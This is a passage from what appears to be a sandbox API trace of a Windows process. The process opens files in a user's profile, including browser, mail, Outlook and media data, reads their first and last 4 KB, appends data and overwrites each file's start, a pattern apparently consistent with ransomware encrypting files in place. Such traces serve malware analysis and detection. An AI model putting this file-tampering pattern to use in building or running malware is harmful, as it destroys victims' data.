lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.869] CloseHandle (hObject=0x1b0) returned 1 [0063.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.870] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.870] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7299 [0063.870] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.870] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.870] ReleaseMutex (hMutex=0x128) returned 1 [0063.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="computed_hashes.json", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="computed_hashes.json", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="computed_hashes.json", lpUsedDefaultChar=0x0) returned 20 [0063.870] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.871] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6299 [0063.871] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.872] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6299 [0063.872] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.873] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.873] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.873] CloseHandle (hObject=0x1b0) returned 1 [0063.873] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.873] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.874] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x3c00 [0063.874] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.874] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.874] ReleaseMutex (hMutex=0x128) returned 1 [0063.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Network Action Predictor", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0063.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Network Action Predictor", cchWideChar=24, lpMultiByteStr=0x1e7fd2c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Network Action Predictor", lpUsedDefaultChar=0x0) returned 24 [0063.874] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.875] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2c00 [0063.875] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.876] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2c00 [0063.876] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.876] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.876] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.876] CloseHandle (hObject=0x1b0) returned 1 [0063.877] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.877] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.877] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x29 [0063.877] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.877] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.877] ReleaseMutex (hMutex=0x128) returned 1 [0063.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x1e6340c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MANIFEST-000001", lpUsedDefaultChar=0x0) returned 15 [0063.878] ReadFile (in: hFile=0x1b0, lpBuffer=0x1eb2080, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb2080*, lpNumberOfBytesRead=0x340f2bc*=0x29, lpOverlapped=0x0) returned 1 [0063.878] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.878] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5b1, lpOverlapped=0x0) returned 1 [0063.879] CloseHandle (hObject=0x1b0) returned 1 [0063.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.879] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.879] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7000 [0063.879] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.879] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.879] ReleaseMutex (hMutex=0x128) returned 1 [0063.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft at Home~.feed-ms", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0063.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft at Home~.feed-ms", cchWideChar=26, lpMultiByteStr=0x1e7fd2c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft at Home~.feed-ms", lpUsedDefaultChar=0x0) returned 26 [0063.880] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.881] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6000 [0063.881] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.882] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6000 [0063.882] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.882] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.882] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.882] CloseHandle (hObject=0x1b0) returned 1 [0063.882] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.884] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.884] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x43 [0063.884] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.884] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.884] ReleaseMutex (hMutex=0x128) returned 1 [0063.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0063.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0063.884] ReadFile (in: hFile=0x1b0, lpBuffer=0x1eaaa48, nNumberOfBytesToRead=0x43, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa48*, lpNumberOfBytesRead=0x340f2bc*=0x43, lpOverlapped=0x0) returned 1 [0063.885] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.885] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5cb, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5cb, lpOverlapped=0x0) returned 1 [0063.885] CloseHandle (hObject=0x1b0) returned 1 [0063.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.886] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.886] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x410 [0063.886] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.886] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.886] ReleaseMutex (hMutex=0x128) returned 1 [0063.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="07_TV_recorded_in_the_last_week.wpl", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0063.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="07_TV_recorded_in_the_last_week.wpl", cchWideChar=35, lpMultiByteStr=0x1eb2084, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="07_TV_recorded_in_the_last_week.wpl", lpUsedDefaultChar=0x0) returned 35 [0063.886] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a348, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesRead=0x340f2bc*=0x410, lpOverlapped=0x0) returned 1 [0064.215] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0064.215] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x340f2d0*=0x998, lpOverlapped=0x0) returned 1 [0064.215] CloseHandle (hObject=0x1b0) returned 1 [0064.216] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0064.216] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.216] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x31d [0064.216] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.217] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.217] ReleaseMutex (hMutex=0x128) returned 1 [0064.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="05_Pictures_taken_in_the_last_month.wpl", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0064.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="05_Pictures_taken_in_the_last_month.wpl", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="05_Pictures_taken_in_the_last_month.wpl", lpUsedDefaultChar=0x0) returned 39 [0064.217] ReadFile (in: hFile=0x1b0, lpBuffer=0x2750828, nNumberOfBytesToRead=0x31d, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x340f2bc*=0x31d, lpOverlapped=0x0) returned 1 [0064.219] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0064.219] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8a5, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x8a5, lpOverlapped=0x0) returned 1 [0064.219] CloseHandle (hObject=0x1b0) returned 1 [0064.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0064.220] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.220] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x104 [0064.220] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.220] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.220] ReleaseMutex (hMutex=0x128) returned 1 [0064.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0064.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cchWideChar=58, lpMultiByteStr=0x1eaaa4c, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpUsedDefaultChar=0x0) returned 58 [0064.220] ReadFile (in: hFile=0x1b0, lpBuffer=0x1ddfe88, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddfe88*, lpNumberOfBytesRead=0x340f2bc*=0x104, lpOverlapped=0x0) returned 1 [0064.221] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0064.221] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x68c, lpOverlapped=0x0) returned 1 [0064.221] CloseHandle (hObject=0x1b0) returned 1 [0064.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0064.222] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.222] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x200000 [0064.222] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.222] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.222] ReleaseMutex (hMutex=0x128) returned 1 [0064.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edbres00002.jrs", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edbres00002.jrs", cchWideChar=15, lpMultiByteStr=0x1e6324c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="edbres00002.jrs", lpUsedDefaultChar=0x0) returned 15 [0064.222] ReadFile (in: hFile=0x1b0, lpBuffer=0x26d0018, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.224] ReadFile (in: hFile=0x1b0, lpBuffer=0x26d0018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.224] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, 